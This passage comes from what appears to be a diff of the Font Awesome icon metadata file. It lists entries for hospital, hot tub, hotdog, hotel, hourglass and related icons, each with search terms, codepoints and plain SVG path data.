34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "hospital": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "covid-19", + "emergency room", + "medical center" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0f8", + "label": "hospital", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635546, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z" + }, + "regular": { + "last_modified": 1628088634861, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hospital-alt": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "covid-19", + "emergency room", + "medical center" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f47d", + "label": "Alternate Hospital", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635545, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z" + } + }, + "free": [ + "solid" + ] + }, + "hospital-symbol": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "clinic", + "covid-19", + "emergency", + "map" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f47e", + "label": "Hospital Symbol", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635545, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z" + } + }, + "free": [ + "solid" + ] + }, + "hospital-user": { + "changes": [ + "5.7.0", + "5.13.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "doctor", + "network", + "patient", + "primary care" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f80d", + "label": "Hospital with User", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635545, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z" + } + }, + "free": [ + "solid" + ] + }, + "hot-tub": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bath", + "jacuzzi", + "massage", + "sauna", + "spa" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f593", + "label": "Hot Tub", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635547, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z" + } + }, + "free": [ + "solid" + ] + }, + "hotdog": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bun", + "chili", + "frankfurt", + "frankfurter", + "kosher", + "polish", + "sandwich", + "sausage", + "vienna", + "weiner" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f80f", + "label": "Hot Dog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635547, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z" + } + }, + "free": [ + "solid" + ] + }, + "hotel": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "inn", + "lodging", + "motel", + "resort", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f594", + "label": "Hotel", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635547, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z" + } + }, + "free": [ + "solid" + ] + }, + "hotjar": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b1", + "label": "Hotjar", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860997, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z" + } + }, + "free": [ + "brands" + ] + }, + "hourglass": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "hour", + "minute", + "sand", + "stopwatch", + "time" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f254", + "label": "Hourglass", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635549, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z" + }, + "regular": { + "last_modified": 1628088634863, + 